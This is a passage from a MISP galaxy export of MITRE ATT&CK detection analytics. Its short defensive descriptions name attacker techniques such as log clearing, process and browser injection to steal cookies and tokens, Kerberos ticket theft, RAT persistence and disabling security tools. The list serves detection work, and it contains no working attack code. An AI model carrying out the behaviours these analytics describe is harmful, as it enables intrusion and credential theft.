Much of this activity may have a very high occurrence and associated false positive rate, as well as

potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1943 - AN1943"*

Table 7542. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0811#AN1943

Analytic 1493 - AN1493

Unauthorized instance creation in unmonitored or unused regions. Burst of compute-intensive jobs in spot instances or sudden spike in resource usage in legitimate VMs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1493 - AN1493"*

Table 7543. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0540#AN1493

Analytic 1439 - AN1439

Detects adversary clearing log files on macOS by correlating calls to shell utilities (e.g., echo >, rm, truncate) targeting files in /var/log/ with unusual context (non-administrative users or abnormal process lineage).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1439 - AN1439"*

Table 7544. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0520#AN1439

Analytic 1394 - AN1394

Detection of command-line activity exhibiting syntactic obfuscation patterns, such as excessive escape characters, base64 encoding, command concatenation, or outlier command length and entropy.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1394 - AN1394"*

Table 7545. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0505#AN1394

Analytic 1355 - AN1355

Execution of system utilities like 'system_profiler' and 'ioreg' to enumerate hardware components or USB devices, particularly if followed by clipboard, file, or network activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1355 - AN1355"*

Table 7546. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0491#AN1355

Analytic 1553 - AN1553

macOS environmental validation behavioral chain: (1) System profiling through system_profiler, sysctl, and hardware discovery commands, (2) Network interface and configuration enumeration for geolocation and network environment validation, (3) Application installation and version discovery for software environment fingerprinting, (4) Security feature detection (SIP, Gatekeeper, XProtect status), (5) Conditional payload execution based on macOS-specific environmental criteria and System Integrity Protection bypass validation

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1553 - AN1553"*

Table 7547. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0562#AN1553

Analytic 1535 - AN1535

MSBuild.exe is invoked outside expected developer/build contexts or with anomalous arguments (e.g., non-canonical paths, remote shares, Base64/obfuscated property values). Within a short window, it (a) spawns high-risk LOLBins/script interpreters, (b) writes new PE/DLL/script artifacts into user-writable paths and executes them, (c) loads unsigned/user-writable modules, (d) performs memory injection/thread creation into other processes, and/or (e) initiates outbound network connections.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1535 - AN1535"*

Table 7548. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0556#AN1535

Analytic 1365 - AN1365

Monitor email and document management systems for fraudulent invoices, impersonation of vendors, or BEC-style payment redirections. Detect abnormal editing of invoice templates, or emails containing known fraud language combined with attachment delivery.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1365 - AN1365"*

Table 7549. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0495#AN1365

Analytic 1356 - AN1356

Defenders should monitor for anomalous or unauthorized changes to cloud compute configurations that alter quotas, tenant-wide policies, subscription associations, or allowed deployment regions. From a defender's perspective, suspicious behavior chains include a sudden increase in compute quota requests followed by new instance or resource creation, policy modifications that weaken security restrictions, or enabling previously unused/unsupported cloud regions. Correlation across identity, configuration, and subsequent provisioning logs is critical to distinguish legitimate administrative activity from adversarial abuse.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1356 - AN1356"*

Table 7550. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0492#AN1356

Analytic 1635 - AN1635

Detects exploitation of macOS security and integrity services, such as Gatekeeper, XProtect, or EDR agents. Defender observations include unsigned processes attempting privileged operations, abnormal termination of security daemons, or modification of system integrity logs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1635 - AN1635"*

Table 7551. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0595#AN1635

Analytic 1536 - AN1536

Registry key modification to AppInit_DLLs value followed by anomalous DLL loading by processes importing user32.dll, especially unsigned or uncommon DLLs, suggesting unauthorized AppInit persistence or privilege escalation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1536 - AN1536"*

Table 7552. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0557#AN1536

Analytic 1563 - AN1563

Execution of commands to query system locale and language settings, such as 'defaults read -g AppleLocale' or 'systemsetup -gettimezone'. Unusual parent processes or execution contexts of these commands may indicate adversarial discovery.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1563 - AN1563"*

Table 7553. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0565#AN1563

Analytic 1653 - AN1653

Integrity checking mechanisms can potentially detect unauthorized hardware modifications.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1653 - AN1653"*

Table 7554. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0604#AN1653

Analytic 1357 - AN1357

Detects anomalous use of COM, DDE, or named pipes for execution. Correlates creation or access of IPC mechanisms (e.g., named pipes, COM objects) with unusual parent-child process relationships or code injection patterns (e.g., Office spawning cmd.exe via DDE).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1357 - AN1357"*

Table 7555. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0493#AN1357

Analytic 1537 - AN1537

Detects suspicious use of ESXi native CLI tools like esxcli and vim-cmd by unauthorized users or outside expected maintenance windows. Focus is on actions such as stopping VMs, reconfiguring

network/firewall settings, and enabling SSH or logging.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1537 - AN1537"*

Table 7556. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0558#AN1537

Analytic 1573 - AN1573

Applications or scripts invoking cloud storage APIs (Dropbox sync, iCloud, Google Drive client) in unexpected contexts. Defender perspective: detect sensitive file reads by non-standard applications followed by unusual encrypted uploads to external cloud storage domains.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1573 - AN1573"*

Table 7557. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0570#AN1573

Analytic 1375 - AN1375

A process creates a brand-new logon session/token (LogonUser*/LsaLogonUser) and then assigns/impersonates it (SetThreadToken/ImpersonateLoggedOnUser) to run actions under that freshly created security context. Chain: (1) suspicious command or script block (e.g., runas /netonly, PowerShell P/Invoke of LogonUser) → (2) ETW/API evidence of LogonUser*/SetThreadToken → (3) Security 4624 New Logon (often LogonType=9 NewCredentials or 2/3 from a non-interactive parent) with no interactive desktop → (4) sysmon 1 process(es) executing with the new LogonId/SID different from the parent process → (5) optional privileged ops/lateral movement.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1375 - AN1375"*

Table 7558. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0498#AN1375

Analytic 1735 - AN1735

Application vetting services may detect when an application requests permissions after an application update. Application vetting services may look for indications that the application's update includes malicious code at runtime. Application vetting services may be able to list domains and/or IP addresses that applications communicate with.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1735 - AN1735"*

Table 7559. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0652#AN1735

Analytic 1753 - AN1753

Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation.(Citation: CSRIC5-WG10-FinalReport) The CSRIC also suggests threat information sharing between telecommunications industry members.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1753 - AN1753"*

Table 7560. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0662#AN1753
https://web.archive.org/web/20200330012714/https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf

Analytic 1385 - AN1385

Hidden file creation using leading '.' or file attribute changes with chattr (immutable/hidden flags). Defender view: detect execution of chattr, lsattr anomalies, and unusual hidden files appearing in system directories.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1385 - AN1385"*

Table 7561. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0502#AN1385

Analytic 1583 - AN1583

Execution of network enumeration utilities (e.g., net.exe, ping.exe, tracert.exe) in short succession, often chained with lateral movement tools or system enumeration commands.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1583 - AN1583"*

Table 7562. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0574#AN1583

Analytic 1538 - AN1538

Correlate process execution of shutdown/reboot commands (e.g., shutdown.exe, restart-computer)

with host status change logs (Event IDs 1074, 6006) and absence of related administrative context (e.g., user not in Helpdesk group).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1538 - AN1538"*

Table 7563. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0559#AN1538

Analytic 1358 - AN1358

Detects abuse of UNIX domain sockets, pipes, or message queues for unauthorized code execution. Correlates unexpected socket creation with suspicious binaries, abnormal shell pipelines, or injected processes establishing IPC channels.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1358 - AN1358"*

Table 7564. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0493#AN1358

Analytic 1835 - AN1835

Mobile security products can use attestation to detect compromised devices.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1835 - AN1835"*

Table 7565. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0710#AN1835

Analytic 1853 - AN1853

Application vetting services can detect malicious code in applications. System partition integrity checking mechanisms can detect unauthorized or malicious code contained in the system partition.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1853 - AN1853"*

Table 7566. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0721#AN1853

Analytic 1359 - AN1359

Detects anomalous use of Mach ports, Apple Events, or XPC services for inter-process execution or code injection. Focuses on unexpected processes attempting to send privileged Apple Events (e.g., automation scripts injecting into security-sensitive apps).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1359 - AN1359"*

Table 7567. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0493#AN1359

Analytic 1953 - AN1953

Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts). Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1953 - AN1953"*

Table 7568. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0821#AN1953

Analytic 1395 - AN1395

Detection of shell commands that leverage encoded execution, command chaining, excessive piping, or unusual token patterns indicative of obfuscation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1395 - AN1395"*

Table 7569. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0505#AN1395

Analytic 1593 - AN1593

Unexpected modification of the KernelCallbackTable in a process's PEB followed by invocation of modified callback functions (e.g., fnCOPYDATA) through Windows messages. Defender observes suspicious API call chains such as NtQueryInformationProcess → WriteProcessMemory → abnormal GUI callback execution, often correlating to anomalous process behavior such as network activity or code injection.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1593 - AN1593"*

Table 7570. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0577#AN1593

Analytic 1539 - AN1539

Detect 'shutdown', 'reboot', or 'systemctl poweroff' executions with auditd/syslog and absence of scheduled maintenance windows or approved user context.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1539 - AN1539"*

Table 7571. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0559#AN1539

Analytic 1636 - AN1636

Detects exploitation of IaaS cloud security boundaries to evade defense controls. Defender perspective includes anomalous API calls that bypass audit logging, disable monitoring, or manipulate guardrails (e.g., CloudTrail tampering). Correlation highlights when exploitation attempts precede sudden absence of expected telemetry.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1636 - AN1636"*

Table 7572. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0595#AN1636

Analytic 1366 - AN1366

Chain of remote access tool behavior: (1) initial execution of remote-control/assist agent or GUI under user context; (2) persistence via service or autorun; (3) long-lived outbound connection/tunnel to external infrastructure; (4) interactive control signals such as shell or file-manager child processes spawned by the RAT parent.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1366 - AN1366"*

Table 7573. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0496#AN1366

Analytic 1663 - AN1663

Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application. Many properly configured firewalls may naturally block one-way command and control traffic.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1663 - AN1663"*

Table 7574. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0610#AN1663

Analytic 1637 - AN1637

Detects adversary abuse of SaaS platform vulnerabilities to bypass logging, monitoring, or consent boundaries. Defender perspective focuses on abnormal application integration events, missing audit logs, or API calls from unauthorized service principals that align with exploitation attempts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1637 - AN1637"*

Table 7575. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0595#AN1637

Analytic 1367 - AN1367

Sequence of RAT agent execution, systemd persistence, and long-lived external egress; optional interactive shells spawned from the agent.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1367 - AN1367"*

Table 7576. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0496#AN1367

Analytic 1376 - AN1376

Establishing network connections on uncommon ports or protocols following C2 disruption or

blocking. Often executed by processes that typically exhibit no network activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1376 - AN1376"*

Table 7577. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0499#AN1376

Analytic 1736 - AN1736

Application vetting services may detect when an application requests permissions after an application update. Application vetting services may look for indications that the application's update includes malicious code at runtime. Application vetting services may be able to list domains and/or IP addresses that applications communicate with.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1736 - AN1736"*

Table 7578. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0652#AN1736

Analytic 1763 - AN1763

Since data encryption is a common practice in many legitimate applications and uses standard programming language-specific APIs, encrypting data for command and control communication is regarded as undetectable to the user.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1763 - AN1763"*

Table 7579. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0667#AN1763

Analytic 1673 - AN1673

Application vetting services could look for applications attempting to get `android.os.SystemProperties` or `getprop` with the runtime `exec()` commands. This could indicate some level of sandbox evasion, as Google recommends against using system properties within applications.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1673 - AN1673"*

Table 7580. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0616#AN1673

Analytic 1386 - AN1386

Hidden files via 'chflags hidden' or Apple-specific attributes, LaunchAgents/LaunchDaemons placed in non-standard hidden directories. Defender view: detect command execution modifying file flags and unusual plist creation in hidden paths.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1386 - AN1386"*

Table 7581. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0502#AN1386

Analytic 1368 - AN1368

Electron/GUI or headless RAT execution followed by LaunchAgent/Daemon persistence and persistent external connections; interactive children (osascript/sh/curl) spawned by parent.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1368 - AN1368"*

Table 7582. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0496#AN1368

Analytic 1638 - AN1638

SSH login from a remote system (via sshd), followed by user context execution of suspicious binaries or privilege escalation behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1638 - AN1638"*

Table 7583. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0596#AN1638

Analytic 1836 - AN1836

Mobile security products can use attestation to detect compromised devices.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1836 - AN1836"*

Table 7584. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0710#AN1836

Analytic 1683 - AN1683

Application vetting services could detect when applications store data insecurely, for example, in unprotected external storage.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1683 - AN1683"*

Table 7585. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0621#AN1683

Analytic 1396 - AN1396

Detection of obfuscated commands via shell, osascript, or AppleScript interpreters using unusual tokens, encoding, variable substitution, or runtime string reconstruction.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1396 - AN1396"*

Table 7586. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0505#AN1396

Analytic 1963 - AN1963

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1963 - AN1963"*

Table 7587. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0831#AN1963

Analytic 1369 - AN1369

Detection of adversary behavior that disables or modifies security tools, including killing AV/EDR processes, stopping services, altering Sysmon registry keys, or tampering with exclusion lists. Defenders observe process/service termination, registry modification, and abnormal absence of expected telemetry.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1369 - AN1369"*

Table 7588. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0497#AN1369

Analytic 1639 - AN1639

SSH login detected via Unified Logs, followed by unusual process execution, especially outside normal user behavior patterns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1639 - AN1639"*

Table 7589. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0596#AN1639

Analytic 1693 - AN1693

When vetting applications for potential security weaknesses, the vetting process could look for insecure use of Intents. Developers should be encouraged to use techniques to ensure that the intent can only be sent to an appropriate destination (e.g., use explicit rather than implicit intents, permission checking, checking of the destination app's signing certificate, or utilizing the App Links feature). For mobile applications using OAuth, encourage use of best practice. (Citation: IETF-OAuthNativeApps)(Citation: Android-AppLinks) On Android, users may be presented with a popup to select the appropriate application to open the URI in. If the user sees an application they do not recognize, they can remove it.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1693 - AN1693"*

Table 7590. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0626#AN1693
https://developer.android.com/training/app-links/index.html
https://tools.ietf.org/html/rfc8252

Analytic 1377 - AN1377

Creation of outbound connections on alternate ports or using covert transport (e.g., ICMP, DNS) from non-network-intensive processes, following known disruption or blocked traffic.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1377 - AN1377"*

Table 7591. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0499#AN1377

Analytic 1737 - AN1737

The user can review which applications have location and sensitive phone information permissions in the operating system's settings menu. Application vetting services can detect unnecessary and potentially abused API calls. Application vetting services can detect unnecessary and potentially abused permissions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1737 - AN1737"*

Table 7592. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0653#AN1737

Analytic 1773 - AN1773

In iOS 14 and up, an orange dot (or orange square if the Differentiate Without Color setting is enabled) appears in the status bar when the microphone is being used by an application. However, there have been demonstrations indicating it may still be possible to access the microphone in the background without triggering this visual indicator by abusing features that natively access the microphone or camera but do not trigger the visual indicators.(Citation: iOS Mic Spyware)

In Android 12 and up, a green dot appears in the status bar when the microphone is being used by an application.(Citation: Android Privacy Indicators) Android applications using the `RECORD_AUDIO` permission and iOS applications using `RequestRecordPermission` should be carefully reviewed and monitored. If the `CAPTURE_AUDIO_OUTPUT` permission is found in a third-party Android application, the application should be heavily scrutinized.

In both Android (6.0 and up) and iOS, the user can review which applications have the permission to access the microphone through the device settings screen and revoke permissions as necessary.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1773 - AN1773"*

Table 7593. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0673#AN1773
https://blog.zecops.com/research/how-ios-malware-can-spy-on-users-silently/
https://source.android.com/devices/tech/config/privacy-indicators

Analytic 1378 - AN1378

Outbound fallback traffic from low-profile or background launch agents using unusual protocols or destinations after primary channel inactivity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1378 - AN1378"*

Table 7594. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0499#AN1378

Analytic 1387 - AN1387

Abuse of VMFS or ESXi shell to hide datastore files, renaming/moving VMDK or VMX files into hidden directories. Defender view: anomalous ESXi shell commands or file operations obscuring VM artifacts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1387 - AN1387"*

Table 7595. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0502#AN1387

Analytic 1738 - AN1738

The user can review which applications have location and sensitive phone information permissions in the operating system's settings menu. Application vetting services can detect unnecessary and potentially abused API calls. Application vetting services can detect unnecessary and potentially abused permissions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1738 - AN1738"*

Table 7596. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0653#AN1738

Analytic 1783 - AN1783

Application vetting services could look for `android.permission.READ_CONTACTS` in an Android application's manifest, or `NSContactsUsageDescription` in an iOS application's `Info.plist` file. Most applications do not need contact list access, so extra scrutiny could be applied to those that request it. On both Android and iOS, the user can manage which applications have permission to access the contact list through the device settings screen, revoking the permission if necessary.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1783 - AN1783"*

Table 7597. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0679#AN1783

Analytic 1837 - AN1837

Application vetting services can detect which broadcast intents an application registers for and which permissions it requests.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1837 - AN1837"*

Table 7598. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0711#AN1837

Analytic 1937 - AN1937

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1937 - AN1937"*

Table 7599. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0805#AN1937

Analytic 1379 - AN1379

Outbound traffic from host management services or guest-to-host interactions over unusual interfaces (e.g., backdoor API endpoints or external VPN tunnels).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1379 - AN1379"*

Table 7600. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0499#AN1379

Analytic 1973 - AN1973

Monitor for suspicious network traffic that could be indicative of probing for user information, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1973 - AN1973"*

Table 7601. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0841#AN1973

Analytic 1397 - AN1397

Detection of mshta.exe execution where command-line arguments reference remote or local HTA/script content (VBScript/JScript) followed by subsequent file creation, network retrieval, or process spawning that indicates payload execution outside standard Internet Explorer security context. Correlation includes parent process lineage, command-line inspection, and network connection creation to untrusted or anomalous endpoints.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1397 - AN1397"*

Table 7602. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0506#AN1397

Analytic 1793 - AN1793

Abuse of standard application protocols can be difficult to detect as many legitimate mobile applications leverage such protocols for language-specific APIs. Enterprises may be better served focusing on detection at other stages of adversarial behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1793 - AN1793"*

Table 7603. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0685#AN1793

Analytic 1739 - AN1739

On Android, Verified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android's SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromise devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1739 - AN1739"*

Table 7604. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0654#AN1739

https://source.android.com/security/verifiedboot/

Analytic 1388 - AN1388

Malicious macros or embedded objects hidden within Office documents by renaming streams or using hidden OLE objects. Defender view: detection of hidden macro streams or objects in documents correlated with anomalous execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1388 - AN1388"*

Table 7605. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0502#AN1388

Analytic 1838 - AN1838

Application vetting services could detect applications trying to modify files in protected parts of the operating system. Verified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android's SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromised devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1838 - AN1838"*

Table 7606. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0712#AN1838
https://source.android.com/security/verifiedboot/

Analytic 1389 - AN1389

Detects the execution of non-browser processes establishing outbound encrypted network connections using uncommon symmetric encryption protocols (e.g., AES via PowerShell or custom scripts) to alternate external destinations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1389 - AN1389"*

Table 7607. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0503#AN1389

Analytic 1983 - AN1983

Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not

follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1983 - AN1983"*

Table 7608. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0851#AN1983

Analytic 1398 - AN1398

Adversary gains high integrity or special privileges (e.g., SeDebugPrivilege), locates a running browser process, opens it with write/inject rights, and modifies it (e.g., CreateRemoteThread / DLL load) to inherit cookies/tokens or establish a browser pivot. Optional step: create a new logon session or use explicit credentials, then drive the victim browser to intranet resources.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1398 - AN1398"*

Table 7609. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0507#AN1398

Analytic 1938 - AN1938

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1938 - AN1938"*

Table 7610. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0806#AN1938

Analytic 1839 - AN1839

Application vetting services could detect applications trying to modify files in protected parts of the operating system. Verified Boot can detect unauthorized modifications to the system partition.(Citation: Android-VerifiedBoot) Android's SafetyNet API provides remote attestation capabilities, which could potentially be used to identify and respond to compromised devices. Samsung Knox provides a similar remote attestation capability on supported Samsung devices.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1839 - AN1839"*

Table 7611. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0712#AN1839
https://source.android.com/security/verifiedboot/

Analytic 1399 - AN1399

Detects process injection by correlating memory manipulation API calls (e.g., VirtualAllocEx, WriteProcessMemory), suspicious thread creation (e.g., CreateRemoteThread), and unusual DLL loads within another process's context.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1399 - AN1399"*

Table 7612. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0508#AN1399

Analytic 1939 - AN1939

Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1939 - AN1939"*

Table 7613. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0807#AN1939

Analytic 1993 - AN1993

Much of this activity will take place outside the visibility of the target organization, making

detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1993 - AN1993"*

Table 7614. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0861#AN1993

Analytic 1444 - AN1444

Detects suspicious access to SSSD secrets database and Kerberos key material indicating ticket theft or replay attempts. Correlates anomalous file access with unusual Kerberos service ticket requests.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1444 - AN1444"*

Table 7615. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0522#AN1444

Analytic 1544 - AN1544

Detection of valid account misuse through SSH logins, sudo/su abuse, and service account anomalies outside expected patterns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1544 - AN1544"*

Table 7616. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0560#AN1544

Analytic 1454 - AN1454

Execution of system info utilities like `systemsetup`, `sw_vers`, `uname`, or `sysctl` by terminal or scripted processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1454 - AN1454"*

Table 7617. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0525#AN1454

Analytic 1445 - AN1445

Detects attempts to forge or replay Kerberos tickets by monitoring Unified Logs for anomalous kinit/klist activity and correlating unusual authentication sequences.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1445 - AN1445"*

Table 7618. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0522#AN1445

Analytic 1446 - AN1446

